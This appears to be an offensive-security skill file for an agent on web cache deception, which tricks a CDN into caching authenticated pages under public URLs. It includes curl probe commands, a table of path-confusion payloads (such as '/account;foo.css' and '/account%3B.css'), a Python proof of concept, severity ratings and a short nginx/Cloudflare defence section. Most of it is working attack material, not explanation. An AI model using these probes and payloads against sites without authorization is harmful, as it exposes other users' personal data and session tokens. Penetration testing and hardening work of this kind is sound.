- name
- cache-deception
- description
- Web cache deception — trick CDN/proxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor.
- metadata
- {"when_to_use":"cache deception cdn cloudfront cloudflare akamai cache poisoning path-normalization","mitre_attack":"T1565","subdomain":"cache","upstream_ref":"skills/_corpus/payloads/Web Cache Deception/"}
# Web Cache Deception
Reverse proxies / CDNs cache based on URL extension or path patterns
(`.css`, `.jpg`, `/static/`). If the origin server returns the
authenticated page for any path, attacker tricks the cache into storing
private content under a public-cacheable URL.
## 1. The classic
```
GET /account.css ← attacker visits, in their own session
Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
Cache stores response keyed on /account.css
GET /account.css ← victim or any unauth visitor
Cache HIT → serves the attacker-cached, victim-data response
```
## 2. Probe the deception
```bash
# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'
# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)
# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies
```
If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.
## 3. Variants
| Variant | Path |
|---|---|
| `.css` suffix | `/account/foo.css` |
| `.jpg` suffix | `/account.jpg` |
| `/static/` prefix | `/static/../account` |
| Multiple slashes | `/account//.css` |
| URL-encoded `;` | `/account%3B.css` |
| Trailing semi-segment | `/account;foo.css` |
| Double extension | `/account.html.css` |
| Path parameter | `/account.css/anything` |
Each cache impl handles these differently. Cloudflare / Fastly / Akamai
/ Varnish all have known quirks.
## 4. Cache poisoning vs cache deception
- **Deception** — attacker forces cache of victim's data, served to others
- **Poisoning** — attacker injects content into a normal cached resource
This skill covers deception. Cache poisoning is a separate (overlapping) class.
## 5. Tools
- **Param Miner** (Burp plugin) — unkeyed param discovery
- `webcache.cyberxecution.com` for quick suffix probes
- Manual via Burp Repeater
## 6. PoC
```python
import requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'
# 1. Force cache of authenticated response
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")
# 2. Hit same URL unauth
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text # adjust to whatever marker your auth page has
```
## 7. Severity
| Bug | Severity |
|---|---|
| Cache deception exposing PII (email, name, balance) | Critical 8-9 |
| Cache deception of session token | Critical 9.8 (ATO) |
| Cache deception of public-only data | Informational |
| Cache poisoning of script content | Critical 9.0 (RCE-adjacent in browser context) |
## 8. Defender
```nginx
# Nginx — prefix-based cache keys, NOT extension-based
location / {
proxy_pass http://origin;
proxy_cache_key "$scheme$proxy_host$uri";
add_header Cache-Control "private, no-store" always;
}
# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extension
```
Apps should send `Cache-Control: private, no-store` on every authenticated
response to defeat both deception and poisoning.
## Cross-references
- Upstream catalog: `skills/_corpus/payloads/Web Cache Deception/`
- Smuggling overlap: `skills/exploit/web/smuggling.md`
## Known exemplars
- Omer Gil's original PayPal disclosure (2017)
- Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS
- 2023: notable Stripe disclosure of cache deception leading to PII leak
عرض على GitHub